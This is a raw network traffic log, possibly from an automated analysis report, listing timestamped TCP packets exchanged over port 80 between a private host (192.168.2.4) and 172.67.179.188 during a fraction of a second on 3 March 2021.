Mar 3, 2021 07:33:23.086483955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086504936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086518049 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086535931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086551905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086555958 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.086568117 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086582899 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.086584091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.086617947 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.086637974 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.087372065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.087395906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.087414980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.087431908 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.087444067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.087454081 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.087461948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.087507010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.088226080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.088251114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.088269949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.088287115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.088303089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.088319063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.088323116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.088350058 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.088377953 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.089072943 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089091063 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089102983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089114904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089132071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089148045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089153051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.089212894 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.089937925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089960098 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089972973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.089984894 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090002060 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090013027 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.090018034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090032101 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.090085030 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.090887070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090925932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090953112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090970039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.090975046 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.090986013 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091020107 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.091080904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091099024 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091128111 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.091717958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091736078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091747999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091759920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091774940 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.091778040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091794014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091803074 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.091809988 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.091897011 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.091906071 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.092695951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.092713118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.092725039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.092736959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.092770100 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.092803955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.093225956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093244076 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093255997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093271017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093287945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093302965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093310118 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.093319893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.093338966 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.093373060 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.094221115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094249010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094273090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094297886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094311953 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.094324112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094353914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094368935 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.094376087 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.094381094 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.094434023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.095125914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095153093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095171928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095195055 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095200062 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.095221043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095251083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095254898 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.095272064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.095288038 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.096067905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096090078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096103907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096123934 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.096126080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096146107 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096153021 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.096163034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096182108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.096200943 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.096229076 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.097028017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097048998 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097063065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097076893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097095013 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097105980 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.097111940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097122908 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.097135067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097153902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.097919941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097951889 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097976923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.097985029 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.098001003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098014116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.098023891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098051071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098068953 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.098077059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098119974 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.098803043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098831892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098860025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098879099 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.098890066 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098917961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098933935 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.098942995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098970890 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.098993063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.099699974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099729061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099756956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099757910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.099783897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099796057 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.099809885 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099837065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099847078 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.099868059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.099909067 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.100559950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.100589037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.100668907 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.100676060 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.100694895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.100713015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.100730896 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.100742102 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.100800037 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.101277113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101304054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101329088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101350069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101351023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.101367950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101397038 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.101398945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101418018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.101445913 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.102170944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102195978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102216959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102225065 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.102235079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102252960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102268934 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.102273941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102289915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.102303982 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.102339983 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.103012085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103033066 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103055000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103066921 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.103080034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103104115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103121996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103137016 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.103140116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103178024 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.103949070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103975058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.103993893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104011059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104023933 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.104029894 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104047060 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104053974 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.104063034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104080915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104093075 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.104127884 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.104816914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104841948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104866982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104866982 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.104891062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104904890 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.104913950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104934931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104954004 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104969978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.104979992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.105010033 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.105779886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105811119 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105832100 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.105837107 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105864048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105890989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105892897 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.105914116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105940104 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105962992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.105964899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.105972052 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.106703043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106734991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106756926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106767893 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.106780052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106798887 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.106813908 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106838942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106862068 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.106862068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106889009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.106903076 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.107939005 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.107974052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108002901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108011961 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108028889 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108041048 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108053923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108079910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108103991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108107090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108129025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108146906 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108500004 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108556986 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108618975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108644962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108674049 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108695984 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108700991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108726025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108741999 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.108746052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.108787060 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.223433971 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.271879911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416165113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416192055 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416208982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416224957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416240931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416240931 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416254044 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416270018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416285038 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416285992 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416320086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416322947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416346073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416347027 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416368008 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416392088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416407108 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416415930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416439056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416445971 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416461945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416480064 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416486025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416507959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416531086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416531086 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416553974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416572094 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416580915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416604996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416618109 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.416627884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416651011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.416690111 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.417177916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.417212009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.417227030 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.417241096 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.417259932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.417279959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.417289019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.417305946 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.417334080 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.468535900 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.482772112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482814074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482839108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482861042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482882977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482907057 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482916117 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.482928991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482949972 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.482954025 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.482980013 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483011961 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483021021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483043909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483066082 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483088017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483092070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483110905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483133078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483136892 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483155012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483177900 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483198881 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483203888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483227015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483237028 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483248949 CET	80	49770	172.67.179.188	192.168.2.4
